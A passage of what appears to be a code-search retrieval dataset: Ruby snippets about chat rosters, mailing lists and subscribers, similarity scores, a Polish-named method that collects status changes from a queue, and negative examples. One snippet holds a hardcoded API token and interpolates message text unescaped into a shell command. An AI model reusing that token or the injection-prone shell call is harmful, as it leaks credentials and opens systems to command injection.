"def get_roster_items\n cl = @client\n mainthread = Thread.current\n\n @roster.add_query_callback { |iq|\n mainthread.wakeup\n }\n Thread.stop\n items = []\n @roster.groups.each do |group|\n @roster.find_by_group(group).each do |item|\n contact = Base::Contact.new(item.jid.to_s, item.iname, :group => group)\n Thread.new do\n debug \"- #{item.iname} (#{item.jid})\"\n vcard_hash = {}\n begin\n puts \"getting vcard #{item.jid} \"\n vcard = Jabber::Vcard::Helper.new(cl).get(item.jid.strip)\n puts \"get vcard for #{item.jid}\"\n if vcard\n vcard.fields.each do |field|\n vcard_hash[field] = vcard[field]\n end\n contact.vcard = vcard_hash\n puts \"got end set\"\n @base.update_roster_item contact\n else\n puts \"no vcard for #{item.jid}\"\n end\n rescue Exception => ex\n pp ex\n puts \"Error while getting avatar\"\n end\n end\n items << contact#, :vcard => vcard_hash)\n end\n\n debug \"\\n\"\n end\n items\n end",
"def get_members_list()\n members_list = []\n DATA[CARDS][$card_index][ID_MEMBERS].each_index do |members|\n DATA[MEMBERS].each_index do |names|\n #puts DATA[MEMBERS][names][ID]\n #puts DATA['members'][names]['id']\n if DATA['members'][names]['id'] == DATA[CARDS][$card_index][ID_MEMBERS][members]\n members_list.push(DATA[MEMBERS][names][USERNAME])\n end\n end\n end\n members_list = members_list.join(\",\")\n\n members_list\nend",
"def jid\n JID.new(subscription_node[:jid])\n end",
"def make_mailchimp_list(from_name, from_email, event)\n Person.roles.keys.each_with_index do |role, index|\n if index == 0 \n participant_ids = []\n Participant.statuses.keys.each do |s|\n response = gibbon.lists.create(make_mailchimp_hash(from_name, from_email, event, role, s))\n participant_ids << response['id']\n end\n event.mailchimp_ids << participant_ids.join(',')\n else\n response = gibbon.lists.create(make_mailchimp_hash(from_name, from_email, event, role))\n event.mailchimp_ids << response['id']\n end\n end\n end",
"def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end",
"def search_user_names_for_message\n @users = (session[:from_follower_following] ? @login_user.from_follower_following(params[:term]) : @login_user.all_message_users(params[:term]))\n @usernames = []\n @users.collect{|u| @usernames << u.username}\n respond_to do |format|\n format.json { render :json => @usernames }\n end\n end",
"def jid=(j)\n attributes['jid'] = (j ? j.to_s : nil)\n end",
"def discover_items(node=nil)\n iq = connection.iq_stanza({'to'=>jid.to_s}, x('query', 'xmlns' => Namespaces::DiscoverItems))\n send_iq_stanza_fibered iq\n end",
"def listarAjudas(numAjuda = 0)\n\n ajd = []\n index = 0\n numAjuda.times do\n ajd << @plvAjudas[index]\n index += 1\n end\n return ajd\n end",
"def admin_1099_received_list\n %w( [email protected] )\n end",
"def list_user(param = '1110')\n @group_users.each { |item| puts item.info(param) }\n end",
"def queued_jids\n queued.entries\n end",
"def report_list_uids\r\n post = { \"token\" => @token }\r\n docxml = nessus_request('report/list', post)\r\n uuids = Array.new\r\n docxml.root.elements['contents'].elements['reports'].each_element('//report') do |report| \r\n uuids.push(report.elements['name'].text)\r\n end\r\n return uuids\r\n end",
"def also_receive_kroogi_notifications_for(uid)\n u = uid.is_a?(User) ? uid.id : uid\n receive_kroogi_notifications_for!(receives_kroogi_notifications_for.map(&:id) + [u])\n end",
"def create_following_list(serverID, userID)\n\n root = Element.new \"followers\"\n list = Friendship.all(:follower => \"#{serverID}/#{userID}\")\n list.each do |l|\n root.add_element 'follower', {\"id\" => l.followed}\n end\n\n return root.to_s\n end",
"def index\n list = current_user.chats.pluck :id\n\n options = filter_params\n options[:id] = filter_params[:id] == 'all' ? list : [filter_params[:id]]\n @messages = ChatMessage.filter options\n @messages = @messages.group_by(&:chat_id)\n end",
"def bid_lists\n\t\tauction_item_bids = @auction.auction_item_bids.where(user_id: current_user.id)\n\t\trender json: @auction_item_bids.as_json\n\tend",
"def mailing\n gb = Gibbon.new\n @lists = Hash.new\n for i in 1..gb.lists['total'] do\n list_id = gb.lists['data'][i - 1]['id']\n name = gb.lists['data'][i - 1]['name']\n @lists[name] = []\n members = gb.list_members({:id => list_id})\n members['data'].map { |m| @lists[name].push(m['email']) }\n end\n end",
"def listOfSubscribedEvents (bookieEmail)\r\n events = @BetESS.fMapOfAllEvents\r\n subscribedEvents = @BetESS.fGetSubscribedEventsFrom(bookieEmail)\r\n\r\n puts \"\\t\\tSubscribed Events:\"\r\n subscribedEvents.each {|eventID| puts \"#{events[eventID].toString}------\"}\r\n puts \"########\"\r\n end",
"def getNick jid\n\t\tuser = @users.read [\"nick\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['nick']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def remote_get_list\n @user = login_from_salt\n \n render :xml => @user.queue_xml \n end",
"def lists(uid, params={})\n response = @client.get \"#{@path}/#{uid}/lists\", params\n PaginateResource.new \"#{@path}\", @client, response, Textmagic::REST::List\n end",
"def playlist_items_list_by_playlist_id(service, part, **params)\n\n params = params.delete_if { |p, v| v == ''}\n response = service.list_playlist_items(part, params)\n # print_results(response)\n \nend",
"def participants_list_permissions\n @browser.select(:id=>\"addarea_participants_permissions\")\n end",
"def room_messager(stream, room, room_lookup) \n stream.each_item do |item|\n begin\n message = JSON.parse(item) \n message_content = message[\"body\"]\n author_id = message[\"user_id\"]\n room_number = message[\"room_id\"]\n room_name = room_lookup[room_number] \n user = IO.popen(\"curl -u 5caa15e24a6a838aba12751b252559d093f4e172:X https://aghq.campfirenow.com/users/#{author_id}.json\")\n user_name = JSON.parse(user.readlines.first)[\"user\"][\"name\"] \n system(\"notify-send \" + %{\"#{room_name}: #{user_name}\"} + \" \" + %{\" #{message_content}\"}) \n rescue => e\n system(\"notify-send 'ERROR' '#{e.message.to_s}'\")\n p e.message\n end\n end\nend",
"def get_list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/#{get_user_id!(params)}#{@url_suffix}\", params)\n end",
"def list_followers(id)\n get(\"lists/#{id}/followers\").followers\n end",
"def solicitar_lista_entregas_pdd pdd,kind,start_time,end_time\n require \"rubygems\"\n require 'json'\n require \"net/http\"\n require 'yaml'\n \n \n uri=URI( 'http://162.243.215.24/PDV/PDD_list_deliveries')\n \n resp = Net::HTTP.post_form(uri,'pddid'=>pdd,'kind'=>kind,'startime'=>start_time,'endtime'=>end_time,'token'=>\"mentira\")\n @record=JSON.parse(resp.body)\n @record\n #função ok\n \n end",
"def odrzuc_subskrypcje(jid)\n\troster.decline_subscription(jid)\n end",
"def to_s\n jid.to_s\n end",
"def get_ids(cw_id, mention_in=nil)\n token = self.company.setting_chats.find_by(chat_id: Chat.find_by(name: \"Chatwork\").id).token\n return response_failure unless token.present?\n mention_in ? room_id = mention_in : room_id = self.mention_in\n begin\n res = open(\"https://api.chatwork.com/v2/rooms/#{room_id}/members\",\n \"X-ChatWorkToken\" => token)\n code, message = res.status\n\n return response_failure unless code == '200'\n results = ActiveSupport::JSON.decode res.read\n response = { 'ok': false }\n results.each do |result|\n if result[\"chatwork_id\"] == cw_id || result[\"account_id\"] == cw_id.to_i\n response[:ok] = true\n response[:cw_id] = result['chatwork_id']\n response[:cw_account_id] = result['account_id']\n break\n end\n end\n response[:ok] ? response : response_failure\n rescue => e\n logger.error(e)\n return response_failure\n end\n end",
"def lists\n @lists ||= ActsAsIcontact::Subscription.lists(:contactId => id)\n end",
"def email_ids\n []\n end",
"def announce_list(listname,domain)\n doc = request(\"announcement_list-list_subscribers\",{ \"listname\" => listname, \"domain\" => domain})\n api_error?(doc)\n (doc/:data).inject([]) { |subs, sub| subs << Subscriber.new_from_xml(sub); subs }\n end",
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def subscriber_list(statuspage_id)\n request :method => :get,\n :url => @url + 'subscriber/list/' + statuspage_id\n end",
"def listar()\n @client.get(Route.new([ROTA_DID]))\n end",
"def member_list\n DATABASE.execute(\"SELECT members.name FROM media_members JOIN members ON media_members.member_id = members.id WHERE media_members.media_id = #{id};\")\n end",
"def find_subscriber_list(attributes)\n query_string = nested_query_string(attributes)\n get_json(\"#{endpoint}/subscriber-lists?\" + query_string)\n end",
"def find_subscriber_list(attributes)\n query_string = nested_query_string(attributes)\n get_json(\"#{endpoint}/subscriber-lists?\" + query_string)\n end",
"def listreceivedbyaccount(minconf = 1, includeemepty = false)\n request :listreceivedbyaccount, minconf, includeemepty\n end",
"def index\n @lier_private_message_users = LierPrivateMessageUser.all\n end"
] |
[
"0.73649704",
"0.57683754",
"0.556923",
"0.5547613",
"0.54438484",
"0.543481",
"0.5406016",
"0.5398136",
"0.53967476",
"0.5375282",
"0.53117824",
"0.53105354",
"0.5288415",
"0.5281119",
"0.52691257",
"0.52200407",
"0.5214732",
"0.5213205",
"0.5200995",
"0.51880485",
"0.51779735",
"0.51611686",
"0.5152123",
"0.51407593",
"0.5134396",
"0.5133465",
"0.51155245",
"0.51035154",
"0.51035154",
"0.51035154",
"0.50741166",
"0.50692827",
"0.50680906",
"0.50644726",
"0.5061252",
"0.5014776",
"0.5003116",
"0.5000745",
"0.49948993",
"0.49911398",
"0.49888244",
"0.49629012",
"0.4955701",
"0.49469557",
"0.4942551",
"0.49337083",
"0.49336454",
"0.4929735",
"0.49248353",
"0.49248052",
"0.4918516",
"0.49079984",
"0.48881724",
"0.4877997",
"0.4877274",
"0.48762596",
"0.48698458",
"0.48682922",
"0.4855221",
"0.4850704",
"0.48460332",
"0.4845221",
"0.48446882",
"0.4843958",
"0.48397276",
"0.48358154",
"0.48299333",
"0.48237398",
"0.4822565",
"0.4809682",
"0.47970462",
"0.47934362",
"0.4780885",
"0.47807416",
"0.47723433",
"0.47688648",
"0.4765129",
"0.4765101",
"0.47604072",
"0.475899",
"0.47579303",
"0.47415978",
"0.47314698",
"0.47307277",
"0.4726176",
"0.47234353",
"0.47226733",
"0.471677",
"0.47144222",
"0.47123846",
"0.47086155",
"0.47066954",
"0.46924078",
"0.4691789",
"0.46734458",
"0.4672367",
"0.46655145",
"0.46655145",
"0.4657911",
"0.46490628"
] |
0.69191694
|
1
|
Zwraca wiadomosci ktore zostaly wyslane do uzytkownika od ostatniego sprawdzenia Typ zwracany: Jabber::Message
|
def otrzymane_wiadomosci
wiadomosci=[]
while(!@kolejka_wiadomosci.empty?)
wiadomosc=@kolejka_wiadomosci.pop(true) rescue nil
break if wiadomosc.nil?
wiadomosci << wiadomosc
yield wiadomosc if block_given?
end
wiadomosci
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_message_types; end",
"def get_message_types; end",
"def human_message_type\n self[:message_type].to_human\n end",
"def message_type\n @message_type ||= \"message\"\n end",
"def sendmsg(type, where, message, chan=nil, ring=0,plain=nil)\n #if !plain\n # p = PirateTranslator.new\n # message = p.translate(message)\n # debug \"Piratized message: #{message}\"\n #end\n super(type,where,message,chan,ring)\n end",
"def human_msg_type\n self[:msg_type].to_human\n end",
"def message_type\n data_type[2..-1]\n end",
"def message_class\n Yuki::Message\n end",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def message_type\n @message_type ||= payload[:json][:message_type] if payload[:json].present?\n end",
"def message_type\n 'sms'\n end",
"def content_type; @message_impl.getContentType; end",
"def type_name\n MESSAGE_TYPE[self.type_id-1][0]\n end",
"def message(message) end",
"def message( message )\n\tend",
"def as_xmpp_message(to, persp=:default, body=nil, type=:chat)\n klass = self.class.to_xmpp_message_node(persp)\n obj = klass.new(to, body, type)\n obj.represents(self, persp)\n obj\n end",
"def to_simple_message\n {\n text: self.message\n }\n end",
"def expect_message(type); end",
"def content_type=(content_type); @message_impl.setContentType content_type; end",
"def chat_type\n return @chat_type\n end",
"def message_class\n return Scene_Battle::Message\n end",
"def format_message\n message = Message.new\n\n message.id = @id\n message.text = @raw_data['text'] ||= ''\n media = @raw_data['media']\n message.type = media ? media['type'] : 'text'\n message.raw_from = @raw_data['from']['peer_id']\n message.from_type = @raw_data['from']['peer_type']\n message.raw_to = @raw_data['to']['peer_id']\n message.to_type = @raw_data['to']['peer_type']\n\n from = @client.contacts.find { |c| c.id == message.raw_from }\n to = @client.contacts.find { |c| c.id == message.raw_to }\n to = @client.chats.find { |c| c.id == message.raw_to } if to.nil?\n\n message.from = from\n message.to = to\n\n @message = message\n\n if @message.from.nil?\n user = @raw_data['from']\n user = TelegramContact.pick_or_new(@client, user)\n @client.contacts << user unless @client.contacts.include?(user)\n @message.from = user\n end\n\n if @message.to.nil?\n type = @raw_data['to']['peer_type']\n case type\n when 'chat', 'encr_chat'\n chat = TelegramChat.pick_or_new(@client, @raw_data['to'])\n @client.chats << chat unless @client.chats.include?(chat)\n if type == 'encr_chat' then\n @message.to = chat\n else\n @message.from = chat\n end\n when 'user'\n user = TelegramContact.pick_or_new(@client, @raw_data['to'])\n @client.contacts << user unless @client.contacts.include?(user)\n @message.to = user\n end\n end\n end",
"def message\n\t\t@message \n\tend",
"def message\n @message\n end",
"def message\n @data['message']\n end",
"def type\n\t\treturn 'telegram'\t\n\tend",
"def set_message_type\n @message_type = MessageType.find(params[:id])\n end",
"def message; Message.new; end",
"def message_to_at_user(at_user)\n # return if self.user.id == at_user.id\n message = self.messages.build(\n is_read: false,\n user_id: at_user.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} @了你: #{self.content}\"\n )\n message.save\n end",
"def prepare_message\n case self.option_types\n when \"quick replies\"\n self.to_message_with_quick_replies\n when \"buttons\"\n self.to_message_with_buttons\n when \"templates\"\n self.to_message_with_templates\n when \"none\"\n self.to_simple_message\n end\n end",
"def message\n attributes.fetch(:message)\n end",
"def show_message _type\n \"<div class=\\\"#{_type}\\\">#{h message[_type]}</div>\" if message[_type]\n end",
"def send_message(msg); end",
"def message\n\t\tself.object[\"message\"]\n\tend",
"def is_text_message?\n type == 'TextMessage'\n end",
"def send_message(message); end",
"def send_message(message); end",
"def message\n data.message\n end",
"def message\n @attributes[:message]\n end",
"def message; end",
"def message; end",
"def message; end",
"def message; end",
"def message; end",
"def message; end",
"def message\n \n end",
"def chat_message(message)\n r = Skype.send_command \"CHATMESSAGE #{id} #{message}\"\n ChatMessage.parse_from(r)\n end",
"def getMsgClass(message)\r\n return isMyMessage(message) ? \"userMessage-Me\" : \"userMessage-Them\"\r\n end",
"def msg(message)\n end",
"def message\n attributes[:message]\n end",
"def message\n @_message\n end",
"def message\n @_message\n end",
"def typer(session, message, options={})\n json_request \"message\", {:session => session,\n :message => message}, options\n end",
"def message_template; end",
"def message\n\t\tself.object[:message]\n\tend",
"def message_type\n MESSAGE_TYPES[message_type_id] || \"unknown_type_#{message_type_id}\".to_sym\n end",
"def type\n \"Sender\"\n end",
"def update_message(data); end",
"def update_message(data); end",
"def type(msg)\n if msg == \"A\"\n thread[:mode] == :ascii\n \"200 Type set to ASCII\"\n elsif msg == \"I\"\n thread[:mode] == :binary \n \"200 Type set to binary\"\n end\n end",
"def message(type, *args)\n end",
"def message\n @message\n end",
"def message\n MESSAGE\n end",
"def message\n MESSAGE\n end",
"def message\n MESSAGE\n end",
"def message\n MESSAGE\n end",
"def mess\r\n\t\t@usr_mess\r\n\tend",
"def message() end",
"def message\n end",
"def message\n to_s\n end",
"def message\n to_s\n end",
"def message_name message\n message.class\n end",
"def send_message(jid,text)\n m = Jabber::Message.new(jid, text)\n m.set_type :chat\n @client.send m\n end",
"def send_to_single(pars)\n @message = Message.new(pars)\n @message.sender = current_user\n if @message.save\n flash[:info] = \"Your message has been sent to #{@message.receiver.full_name}\"\n else\n flash[:error] = \"Your message could not be sent to #{@message.receiver.full_name}\"\n end\n end",
"def message\n\t\t\[email protected]\n\t\tend",
"def message\n __getobj__\n end",
"def message\n __getobj__\n end",
"def message\n __getobj__\n end",
"def create_message(data); end",
"def create_message(data); end",
"def chat_type=(value)\n @chat_type = value\n end",
"def message=(_); end",
"def msg_send(type)\n\n input_message = {\n \"type\" => \"record-alarm\", # Sensor reading\n \"alarm\" => \"smoke\", # Current time (reading time)\n }.to_json\n\n if type == \"co\"\n input_message = {\n \"type\" => \"record-alarm\", # Sensor reading\n \"alarm\" => \"co\", # Current time (reading time)\n }.to_json\n end\n\n @pubnub.publish(\n :channel => @channel_name,\n :message => input_message,\n :callback => lambda {|message| puts \"Sent Message: message\" +input_message.inspect + \"\\nResponse:\" + message.inspect}\n )\n end",
"def message(type, *args)\n case type\n when :trainer_no_money\n puts \"Du hast ja gar nicht genug Geld!!\"\n end\n end",
"def send_chat_text(msg, type)\n if @socket_srv\n unless msg.empty? \n cmd_to_send = build_cmd(type, msg)\n send_data_to_server(cmd_to_send)\n end\n else\n @cup_gui.log_sometext \"Non collegato in rete\\n\"\n end\n end",
"def lookup_message(name)\n\t\tend",
"def create\n @message = Message.new(message_params)\n @message.message_type = 'Reqular Message `'\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render :show, status: :created, location: @message }\n else\n format.html { render :new }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def do_recv()\n data = super()\n message = Hurricane::Message.new()\n message.type = data.data[0].name\n message.destination = data.data[1]\n message.tag = data.data[2]\n message.data = data.data[3]\n message\n end",
"def find_by_type( type )\n\t\t\treturn @messages[ type ]\n\t\tend",
"def message\n info['Message']\n end",
"def new_message\n end",
"def message_text\n clear_default_fields\n result = self.message\n reset_default_fields\n result\n end",
"def isMyMessage(message)\r\n return message[:type] == :Sent\r\n end",
"def type(msg) # :yields: type\n if (msg == 'A')\n thread[:mode] = :ascii\n \"200 Type set to ASCII\"\n elsif (msg == 'I')\n thread[:mode] = :binary\n \"200 Type set to binary\"\n end\n end",
"def set_notification_message\n case self.acted_with_type\n when \"Opportunity\"\n if self.anonymous\n self.message = \"An opportunity has been posted\"\n elsif self.targetable_type == 'Network'\n self.message = \"#{self.actor.fname.capitalize} #{self.action} an opportunity\"\n #within #{self.targetable.title.capitalize}\"\n elsif self.action == 'acknowledged'\n self.message = \"#{self.actor.fname.capitalize} has #{self.action} your opportunity\"\n elsif self.action == 'sent'\n self.message= \"#{self.actor.fname.capitalize} #{self.action} you an opportunity\"\n self.message += \" directly\" if self.action == 'sent'\n else\n self.message= \"#{self.actor.fname.capitalize} #{self.action} an opportunity\"\n end\n when \"Connection\"\n self.message = \"#{self.actor.fname.capitalize} has #{self.action} you to connect\"\n else\n end\n end",
"def send_message(msg, type)\n # Build the message and get it's size\n message = wrap_message(msg, type).serialize_to_string\n message_size = [message.length].pack('N')\n\n # Write the message to the SSL client and get the response\n @gtv.ssl_client.write(message_size + message)\n data = \"\"\n @gtv.ssl_client.readpartial(1000,data)\n @gtv.ssl_client.readpartial(1000,data)\n\n # Extract the response from the Google TV\n outer = OuterMessage.new\n outer.parse_from_string(data)\n\n return outer\n end",
"def mess_params\n params.require(:mess).permit(:name, :mess_type_id)\n end",
"def to_message\n @fields ||= {}\n arr = Array.new(self.class.default_fields)\n type_id + @fields.inject(arr) { |a,(k,v)| a[k-1] = v; a }.join(\"|\")\n end",
"def message\n @values['message']\n end",
"def message_params\n params.require(:message).permit(:user_id, :type, :content, :read, :text)\n end",
"def test_widget_type\n widget = @twizo.create_registration_widget(nil)\n widget.params.allowed_types = ['sms']\n\n test_recipient = NUMBER1\n\n widget.params.recipient = test_recipient\n\n widget = widget.send\n\n assert_equal test_recipient, widget.recipient\n assert_equal ['sms'], widget.allowedTypes\n end"
] |
[
"0.6413273",
"0.6413273",
"0.6371579",
"0.63272864",
"0.62834316",
"0.6273311",
"0.6212584",
"0.6146783",
"0.61374843",
"0.613473",
"0.6127949",
"0.6120245",
"0.61173683",
"0.6099759",
"0.60544014",
"0.6017544",
"0.60143155",
"0.6005737",
"0.59834534",
"0.59771985",
"0.59662235",
"0.59502244",
"0.5944228",
"0.5933716",
"0.5925104",
"0.59228134",
"0.59111077",
"0.5903626",
"0.587867",
"0.5873572",
"0.58645195",
"0.58581096",
"0.5844953",
"0.5824453",
"0.58235466",
"0.5823118",
"0.5823118",
"0.5818862",
"0.5811522",
"0.5808793",
"0.5808793",
"0.5808793",
"0.5808793",
"0.5808793",
"0.5808793",
"0.5802959",
"0.57995343",
"0.5789482",
"0.57783914",
"0.57770705",
"0.5772007",
"0.5772007",
"0.5762424",
"0.576129",
"0.575306",
"0.574885",
"0.5747151",
"0.57443756",
"0.57443756",
"0.5739345",
"0.5718159",
"0.57093453",
"0.5704371",
"0.5704371",
"0.5704371",
"0.5704371",
"0.57018626",
"0.5688762",
"0.5687304",
"0.567953",
"0.567953",
"0.56786615",
"0.5663367",
"0.56582695",
"0.56448215",
"0.56361336",
"0.56361336",
"0.56361336",
"0.56344604",
"0.56344604",
"0.5634139",
"0.5623644",
"0.56228644",
"0.56214195",
"0.5611204",
"0.5611121",
"0.5605988",
"0.55952734",
"0.55837774",
"0.5565708",
"0.5563056",
"0.5562259",
"0.5554859",
"0.5550023",
"0.5547763",
"0.554305",
"0.5525783",
"0.5503357",
"0.5498726",
"0.54972446",
"0.5495772"
] |
0.0
|
-1
|
Zwraca zmiany statusow ktore zostaly zmienione przez znajomych na liscie kontaktow
|
def zmiany_statusow
statusy=[]
while(!@kolejka_statusow.empty?)
status=@kolejka_statusow.pop(true) rescue nil
break if status.nil?
statusy << status
yield status if block_given?
end
statusy
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status(*) end",
"def status\n end",
"def status\n end",
"def status\n end",
"def status\n end",
"def retrieve_status\n \n end",
"def zmien_status(status,opis)\n\t@status=status\n\t@opis=opis\n\tstat=Presence.new(@status,@opis)\n\twyslij(stat)\n end",
"def status=(status); end",
"def status\n if caberawit?\n 'caberawit'\n elsif praremaja?\n 'praremaja'\n elsif remaja?\n 'remaja'\n elsif dewasa?\n 'dewasa'\n end\n end",
"def get_status\n\t\tstatus\n\tend",
"def correctly_update_status\n\t\terrors.add(:base, 'La transaccion no fue exitosa') if self.invalid_status\n\tend",
"def last_status; end",
"def status\n @status\n end",
"def status\n @status\n end",
"def good\n @status\n end",
"def status\n @status\n end",
"def status\n @status\n end",
"def statuses; end",
"def set_status\n\t \t#establecer status en BD\n\t \tself.status = \"created\"\n\t \tself.save #para que se guarde\n\t end",
"def set_status\n self.status = 1\n end",
"def status\n data[:status]\n end",
"def status\n\t\t\t\ttrue\n\t\t\tend",
"def status\n case @status\n when 0 then :off\n when 1 then :on\n end\n end",
"def status()\n puts @status\n end",
"def status\n original.status || nil\n end",
"def status\n original.status || nil\n end",
"def status\n head :ok\n end",
"def status\n head :ok\n end",
"def status\n data.status\n end",
"def setStatus(status)\r\n\t\t\t\t\t@status = status\r\n\t\t\t\tend",
"def getStatus\n @status\n end",
"def status\n\t\treturn @status\n\tend",
"def getStatus\r\n\t\t\t\t\treturn @status\r\n\t\t\t\tend",
"def status\n response = run('estado')\n { code: response[\"code\"], message: response[\"message\"] }\n # public function getEstado()\n # {\n # $ret = $this->exec('estado');\n # if (!$ret)\n # return false;\n # if ($this->getStatusCode() != 200)\n # {\n # throw new Exception($this->getStatusMessage(), $this->getStatusCode());\n # return false;\n # } else {\n # $ret = $this->getData();\n # return $ret['estado'];\n # }\n # }\n end",
"def status st=nil\n @status = st if st\n @status ||= 200 #TODO: replace with constants or Kiwi.status[:OK]\n end",
"def status\r\n if @status == \"paid\"\r\n :completed\r\n elsif @tatus == \"refused\"\r\n :refused\r\n else\r\n :pending_payment\r\n end\r\n end",
"def status\n STATUSES[self.status_id || 0]\n end",
"def active?; status == :active; end",
"def status\n super\n end",
"def tolak_disposisi\n\t\n\t\t\n\t\t@tolak_disposisi = UserDisposisi.where(user_id: params[:user_id]).where(disposisi_id: params[:disposisi_id])\n \t\t #\n\t\tif @tolak_disposisi.update(status: 3, nilai: 0)\n\t\t\t\trender json: {'success' =>1, 'message' => 'Disposisi ditolak'},status: :ok\n\t\telse \n\t\t\trender json: {'success' =>0, 'message' => 'opss terjadi kesalahan'},status: :ok\n\t\tend\n\t\t\n\tend",
"def status\n request :get, \"_status\"\n end",
"def set_status\n @status= {\n 'Unstarted' => 0,\n 'In Progress' => 1,\n 'Completed' => 2\n }\n end",
"def actu(status)\n\t\tif @plateau[status[0]][status[1]] == \" \"\n\t\t\t@plateau[status[0]][status[1]] = status[2]\n\t\t\taff()\n\t\telse\n\t\t\tif status[3] != \"ia\"\n\t\t\t\tputs\"case déja remplis veillez rejouer\"\n\t\t\tend\n\t\t\treturn false\n\t\tend\n\tend",
"def status\n STATUSES[self.status_id]\n end",
"def status\n debug { \"status\" }\n verify_response { Remote.get('/status', :api_key => api_key ) }\n end",
"def status\n @__status\n end",
"def status_object\n @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n return @status\n end",
"def status\n super || StatusType.active\n end",
"def actu(status)\n\t\tif @plateau[status[0]][status[1]] == \" \"\n\t\t\t@plateau[status[0]][status[1]] = status[2]\n\t\t\taff()\n\t\telse\n\t\t\tputs\"case déja remplis veillez rejouer\"\n\t\t\treturn false\n\t\tend\n\tend",
"def status\n refund? ? 3 : redeemed? ? 1 : (used_status? ? 2 : 0)\n end",
"def checkstatus()\n merge(checkstatus: 'true')\n end",
"def status\n info['status']\n end",
"def status\n 'unknown'\n end",
"def set_status\n @id=params[:id]\n\t @country = Country.find(@id)\n\t @status = @country.status\n if @status == true\n \[email protected]_attributes(status: 'false')\n flash[:success] = \"Status upadated In-Active\"\n else\n @country.update_attributes(status: 'true')\n flash[:success] = \"Status update Active\"\n end\n redirect_to countries_path\n end",
"def complete?\n self.status == STATUS[:complete] \n #self.status == 1\n end",
"def status\n @status ||= STATUS[mapping_for(:status)]\n end",
"def status\n @status ||= STATUS[mapping_for(:status)]\n end",
"def status\r\n case status_id\r\n when 1; \"Sending\"\r\n when 2; \"Sent\"\r\n when 3; \"Bounced\"\r\n when 4; \"Opened\"\r\n when 5; \"Downloaded\"\r\n when 6; \"Send Failed\"\r\n else; \"Processing\"\r\n end\r\n end",
"def set_status\n self.status = Status.find_by(code: \"OPEN\")\n end",
"def map_status\n end",
"def set_status\n @id=params[:id]\n @client = User.find(@id)\n @status = @client.status\n if @status == true\n @client.update_attributes(status: 'false')\n flash[:success] = \"Status upadated In-Active\"\n else\n @client.update_attributes(status: 'true')\n flash[:success] = \"Status updated Active\"\n end\n redirect_to clients_path\n end",
"def set_default_status\n\t self.status = 0 \n\tend",
"def change_status(status)\n #not implemented \n end",
"def status\n # ensure status is boolean\n status = (params[:status] == 1 || params[:status] == true) ? true : false\n\n changed = Supervise.find_by(vm_id: params[:vm_id], techno_id: params[:techno_id]).change_status(status)\n if changed == 1\n SuperviseMailer.supervise_email(@user, Vm.find(params[:vm_id]), Techno.find(params[:techno_id]), status).deliver\n end\n\n render nothing: true\n end",
"def custom_status\n {}\n end",
"def default_status\n\t\tself.status = \"Pending\"\n end",
"def status\n params['ret_status']\n end",
"def lors_status(status)\n @@LORS[status].create\n @w_lors.icon = @@LORS[status]\n end"
] |
[
"0.6978043",
"0.6978043",
"0.6978043",
"0.6978043",
"0.6978043",
"0.6978043",
"0.6978043",
"0.6978043",
"0.6978043",
"0.69261897",
"0.68368024",
"0.68368024",
"0.68368024",
"0.68368024",
"0.6831864",
"0.6827925",
"0.6815323",
"0.67998356",
"0.677485",
"0.6600501",
"0.6562564",
"0.6495166",
"0.6495166",
"0.64726645",
"0.6462816",
"0.6462816",
"0.6460319",
"0.645246",
"0.64329726",
"0.6420473",
"0.64109683",
"0.6402132",
"0.6399839",
"0.6399428",
"0.6399428",
"0.6384911",
"0.6384911",
"0.63721335",
"0.63712376",
"0.63625646",
"0.63417196",
"0.6274257",
"0.62613916",
"0.6259385",
"0.6255505",
"0.6249078",
"0.62234116",
"0.6223368",
"0.62140256",
"0.6211478",
"0.61916137",
"0.61855006",
"0.61741394",
"0.61529505",
"0.61509496",
"0.6148123",
"0.61465806",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6146542",
"0.6126977",
"0.6114998",
"0.611263",
"0.61014026",
"0.60951805",
"0.6088867",
"0.6054846",
"0.6048891",
"0.6048138",
"0.6048138",
